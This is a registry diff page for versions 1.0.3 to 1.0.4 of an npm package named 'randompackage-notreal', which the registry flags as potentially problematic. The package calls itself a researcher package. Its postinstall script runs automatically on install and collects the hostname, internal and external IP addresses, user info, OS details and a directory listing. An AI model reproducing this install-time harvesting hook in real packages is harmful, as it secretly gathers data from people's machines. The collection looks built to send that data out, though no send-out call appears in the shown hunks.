randompackage-notreal 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of randompackage-notreal might be problematic. Click here for more details.
- package/package.json +5 -2
- package/postinstall.js +5 -5
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "randompackage-notreal",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.4",
|
4
4
|
"description": "Researcher public package",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
@@ -14,5 +14,8 @@
|
|
14
14
|
"dist/css/common.css",
|
15
15
|
"postinstall.js",
|
16
16
|
"index.js"
|
17
|
-
]
|
17
|
+
],
|
18
|
+
"dependencies": {
|
19
|
+
"randompackage-notreal": "^1.0.3"
|
20
|
+
}
|
18
21
|
}
|
package/postinstall.js
CHANGED
@@ -14,12 +14,12 @@ fs.appendFileSync(logFile, `Starting postinstall script\n`);
|
|
14
14
|
const hostname = os.hostname();
|
15
15
|
const packageName = process.env.npm_package_name;
|
16
16
|
const packageVersion = process.env.npm_package_version;
|
17
|
-
const internalIpAddress =
|
18
|
-
const currentPath = process.cwd();
|
17
|
+
const internalIpAddress = execSync('hostname -I').toString().trim();
|
18
|
+
const currentPath = process.cwd(); // Use process.cwd() to capture current directory
|
19
19
|
const platform = os.platform();
|
20
20
|
const userInfo = os.userInfo();
|
21
21
|
|
22
|
-
// Get list of files in the current directory
|
22
|
+
// Get list of files in the current directory (where npm install is run)
|
23
23
|
let directoryFiles;
|
24
24
|
try {
|
25
25
|
directoryFiles = execSync('ls').toString().trim();
|
@@ -66,8 +66,8 @@ fetchExternalIpAddress((err, externalIpAddress) => {
|
|
66
66
|
currentPath,
|
67
67
|
platform,
|
68
68
|
userInfo,
|
69
|
-
osDetails,
|
70
|
-
directoryFiles // Include the directory listing
|
69
|
+
osDetails,
|
70
|
+
directoryFiles // Include the directory listing from the current directory
|
71
71
|
};
|
72
72
|
|
73
73
|
fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
|